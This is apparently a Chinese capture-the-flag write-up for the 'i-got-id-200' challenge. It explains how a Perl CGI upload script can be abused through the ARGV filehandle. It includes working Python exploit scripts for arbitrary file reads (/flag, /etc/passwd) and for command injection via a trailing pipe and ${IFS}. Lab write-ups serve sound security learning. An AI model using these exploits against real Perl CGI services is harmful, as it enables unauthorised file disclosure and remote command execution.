攻防世界i-got-id-200 wp

题目来源于2016 Black Hat大佬分享的议题,相关视频:

https://www.youtube.com/watch?v=BYl3-c2JSL8

题目是使用perl写的一个上传,源码:

1
2
3
4
5
6
7
8
use strict;
use warnings;
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) {
my $file= $cgi->param( 'file' );
while ( <$file> ) { print "$_"; }
}

1.use strict可帮你寻找因为错误拼写造成的错误;use warningsperl在编译的时候会将警告信息打印出来

2.$cgi->upload( 'file' )检测是否上传了file文件,$cgi->param( 'file' )获取文件描述符

3.<>是一种循环读取输入的方法;如果尖括号中间是文件句柄,尖括号运算符循环读取文件句柄的每行内容;如果尖括号中间是搜索模式,尖括号运算符能返回与该模式匹配的文件列表;一组尖括号运算符如果中间没有任何东西,那么它可以读取命令行上所有文件的内容

4.在迭代循环中,当前循环的字符串会放在$_中, 然后 通过print输出。另外print在不指定输出变量,默认情况下使用的也是$_;这里便是遍历文件每一行内容并输出

例如在命令行运行,从命令行获取文件名读取:

perl -e 'while(<>){print $_;}' /etc/passwd

它会输出/etc/passwd全部内容

同样,也可指定文件:

perl -e 'open(DATA,"</etc/passwd") or die;while(<DATA>){print $_;}'

当然,<>中间参数可以为字符串变量ARGV,这里列出相关的变量区分一下:

  • $ARGV:表示命令行参数代表的文件列表中,当前被处理的文件名
  • @ARGV:表示命令行参数数组
  • $ARGV[n]:表示命令行参数数组的元素
  • ARGV:表示<>当前正在处理的文件句柄

例如:

perl -e 'while(<ARGV>){print $_;}' /etc/passwd

也会正常输出/etc/passwd内容

那么对于这个CGI程序,我们使$file的值为ARGV,这样通过GET参数传递文件名,它便会将其内容打印出来,这样便形成了一个任意文件读取漏洞

这里只需要在上传file时,同时POST一个字符串ARGV(位于文件表单前),键名也是file,这样可以绕过$cgi->upload( 'file' ),此时param('file')会返回一个LIST,它有两个值,$file只会获取第一个值,即字符串ARGV

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = 'http://124.126.19.106:45305/cgi-bin/file.pl?/flag'

files = {
'file':''
}

data = {
'file':'ARGV'
}

res = requests.post(url, data=data, files=files).text
print(res)

由于<>会调用open函数,那么这里也存在命令执行,只需在文件名后面加上|符号,即可把文件名当做命令执行;HITCON2017 SSRF也考了相关的知识点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = 'http://124.126.19.106:45305/cgi-bin/file.pl?/bin/bash -c cat${IFS}/flag|'

files = {
'file':''
}

data = {
'file':'ARGV'
}

res = requests.post(url, data=data, files=files).text
print(res)

这里bash -c后面命令中的空格不会被解析,使用${IFS}作为分隔符成功执行。